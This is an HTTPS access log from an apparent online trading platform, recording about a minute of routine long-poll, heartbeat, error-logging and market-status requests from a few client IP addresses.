[09/Jan/2026:13:27:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936712173 HTTP/1.1" -
[09/Jan/2026:13:27:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936722211 HTTP/1.1" -
[09/Jan/2026:13:27:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936706671 HTTP/1.1" -
[09/Jan/2026:13:27:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936708428 HTTP/1.1" -
[09/Jan/2026:13:27:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:27:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936717229 HTTP/1.1" -
[09/Jan/2026:13:27:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936727275 HTTP/1.1" -
[09/Jan/2026:13:27:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936711799 HTTP/1.1" -
[09/Jan/2026:13:27:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936713492 HTTP/1.1" -
[09/Jan/2026:13:27:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936722254 HTTP/1.1" -
[09/Jan/2026:13:27:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936732307 HTTP/1.1" -
[09/Jan/2026:13:27:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936716936 HTTP/1.1" -
[09/Jan/2026:13:27:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:27:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936718550 HTTP/1.1" -
[09/Jan/2026:13:27:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936727331 HTTP/1.1" -
[09/Jan/2026:13:27:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936737335 HTTP/1.1" -
[09/Jan/2026:13:27:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936722062 HTTP/1.1" -
[09/Jan/2026:13:27:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:27:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:27:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936723661 HTTP/1.1" -
[09/Jan/2026:13:27:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936732413 HTTP/1.1" -
[09/Jan/2026:13:27:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936742408 HTTP/1.1" -
[09/Jan/2026:13:27:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936727121 HTTP/1.1" -
[09/Jan/2026:13:27:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936728734 HTTP/1.1" -
[09/Jan/2026:13:27:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936737496 HTTP/1.1" -
[09/Jan/2026:13:27:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936747440 HTTP/1.1" -
[09/Jan/2026:13:27:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936732311 HTTP/1.1" -
[09/Jan/2026:13:27:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936733821 HTTP/1.1" -
[09/Jan/2026:13:27:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:27:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936742583 HTTP/1.1" -
[09/Jan/2026:13:27:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936752500 HTTP/1.1" -
[09/Jan/2026:13:27:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936737458 HTTP/1.1" -
[09/Jan/2026:13:27:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:27:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936738896 HTTP/1.1" -
[09/Jan/2026:13:27:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:27:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:27:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936747607 HTTP/1.1" -
[09/Jan/2026:13:27:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936757588 HTTP/1.1" -
[09/Jan/2026:13:27:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936742604 HTTP/1.1" -
[09/Jan/2026:13:27:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936743921 HTTP/1.1" -
[09/Jan/2026:13:27:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936752678 HTTP/1.1" -
[09/Jan/2026:13:27:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936762648 HTTP/1.1" -
[09/Jan/2026:13:27:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936747746 HTTP/1.1" -
[09/Jan/2026:13:28:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:28:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936748949 HTTP/1.1" -
[09/Jan/2026:13:28:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936757778 HTTP/1.1" -
[09/Jan/2026:13:28:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936767719 HTTP/1.1" -
[09/Jan/2026:13:28:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936752898 HTTP/1.1" -
[09/Jan/2026:13:28:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:28:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:28:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936754020 HTTP/1.1" -
[09/Jan/2026:13:28:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936762840 HTTP/1.1" -
[09/Jan/2026:13:28:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936772785 HTTP/1.1" -
[09/Jan/2026:13:28:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936757941 HTTP/1.1" -
[09/Jan/2026:13:28:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936759080 HTTP/1.1" -
[09/Jan/2026:13:28:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936767941 HTTP/1.1" -
[09/Jan/2026:13:28:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936777804 HTTP/1.1" -
[09/Jan/2026:13:28:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936763096 HTTP/1.1" -
[09/Jan/2026:13:28:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936764154 HTTP/1.1" -
[09/Jan/2026:13:28:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:28:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936773007 HTTP/1.1" -
[09/Jan/2026:13:28:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936782829 HTTP/1.1" -
[09/Jan/2026:13:28:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936768231 HTTP/1.1" -
[09/Jan/2026:13:28:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936769214 HTTP/1.1" -
[09/Jan/2026:13:28:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
